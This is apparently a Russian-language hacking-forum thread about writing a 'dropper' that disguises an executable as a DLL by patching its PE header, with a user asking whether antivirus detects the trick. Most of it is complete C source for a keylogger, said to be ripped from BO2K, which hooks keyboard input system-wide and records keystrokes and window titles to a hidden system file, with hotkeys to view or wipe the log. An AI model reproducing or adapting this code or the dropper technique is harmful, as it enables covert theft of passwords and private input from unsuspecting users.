ну копируй себя как dll и в PE заголовке ставьте флаг что это DLL. А далее просто обрабатывать специальным образом данные на точке входа. т.е. банальынй дропер
Буду сам разбираться но ответьте хотя бы тогда на сл. вопросы. Данный способ позволить вызывать длл из самого экзешника ?Или что то типо "распоковки" ? Палится ли антивирусами ?
1) можешь тупо написать DLL и запихнуть её в ресурсы, а потом куданить извлечь из ресурсов. кода буквально 10 строк. 2) как я сказал просто копируешь себя с другим расширение (из exe в dll) и правишь PE заголовок. Кода штук 15-20 строк.
можно вот так. когдато рипнул из бо2к. только сейчас проверяю - на семерке не пашет, выдает отказ в доступе даже под рутадмином при вызове SetWindowsHookEx. на хп это дело сколько помню нормально работало. Code: #include <windows.h> #include <d3d9.h> #include "splice.h" #include "proctools.h" #pragma optimize("gsy", on) //#pragma comment(linker, "/MERGE:.rdata=.data") //#pragma comment(linker,"/MERGE:.text=.data") //#pragma comment(linker,"/SECTION:.data,ERW") #pragma comment(linker, "/ENTRY:WinMain") #define ROOTPATH "C:\\" #define LOGNAME "kbkeys.txt" HHOOK g_hLogHook; BOOL g_bLogging; HWND g_hLastFocus; LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam) { if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam); HANDLE hCapFile; char s_log[256]; lstrcpy(s_log,ROOTPATH); lstrcat(s_log,LOGNAME); hCapFile=CreateFile(s_log,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL); if(hCapFile==INVALID_HANDLE_VALUE) { return -1; } SetFilePointer(hCapFile,0,NULL,FILE_END); if(code==HC_ACTION) { EVENTMSG *pEvt=(EVENTMSG *)lParam; if(pEvt->message==WM_KEYDOWN) { DWORD dwCount,dwBytes; char svBuffer[256]; int vKey,nScan; vKey=LOBYTE(pEvt->paramL); nScan=HIBYTE(pEvt->paramL); nScan<<=16; // Check to see if focus has changed HWND hFocus=GetActiveWindow(); if(g_hLastFocus!=hFocus) { char svTitle[256]; int nCount; nCount=GetWindowText(hFocus,svTitle,256); if(nCount>0) { char svBuffer[512]; wsprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle); WriteFile(hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL); } g_hLastFocus=hFocus; } // Write out key dwCount=GetKeyNameText(nScan,svBuffer,256); if(dwCount) { if(vKey==VK_SPACE) { svBuffer[0]=' '; svBuffer[1]='\0'; dwCount=1; } if(dwCount==1) { BYTE kbuf[256]; WORD ch; int chcount; GetKeyboardState(kbuf); chcount=ToAscii(vKey,nScan,kbuf,&ch,0); if(chcount>0) WriteFile(hCapFile,&ch,chcount,&dwBytes,NULL); } else { WriteFile(hCapFile,"[",1,&dwBytes,NULL); WriteFile(hCapFile,svBuffer,dwCount,&dwBytes,NULL); WriteFile(hCapFile,"]",1,&dwBytes,NULL); if(vKey==VK_RETURN) WriteFile(hCapFile,"\r\n",2,&dwBytes,NULL); } } } } CloseHandle(hCapFile); return CallNextHookEx(g_hLogHook,code,wParam,lParam); } ////////////////////////////////////////////////////////////////////////// int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; BYTE keytbl[256]; int i; char aaa[128]; RegisterHotKey(0, 31337, MOD_CONTROL|MOD_ALT,VK_F5); // call notepad to open for view RegisterHotKey(0, 31338, MOD_CONTROL|MOD_ALT,VK_F6); // delete log file RegisterHotKey(0, 31339, MOD_CONTROL|MOD_ALT,VK_F7); // stop logging and disable hotkeys for(i=0;i<256;i++) keytbl[i]=0; g_hLastFocus=NULL; g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(0),0); if(g_hLogHook==NULL) { wsprintf(aaa, "%d - error", GetLastError()); // 5 на семерке (отказано в доступе) MessageBox(0, aaa,0,0); return -1; } g_bLogging=TRUE; while(g_bLogging) { while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) { GetMessage(&msg,NULL,0,0); if(msg.message==WM_CANCELJOURNAL) { SetKeyboardState(keytbl); g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(0),0); if(g_hLogHook==NULL) { return -1; } } else if(msg.message == WM_HOTKEY){ if(msg.wParam == 31337){ char cmdline[256]; lstrcpy(cmdline, "notepad.exe "); lstrcat(cmdline, ROOTPATH); lstrcat(cmdline, LOGNAME); WinExec(cmdline, SW_SHOW); }else if(msg.wParam == 31338){ char file[256]; lstrcpy(file, ROOTPATH); lstrcat(file, LOGNAME); DeleteFile(file); }else if(msg.wParam == 31339){ g_bLogging = FALSE; } } else { DispatchMessage(&msg); } } Sleep(0); } UnhookWindowsHookEx(g_hLogHook); return 0; }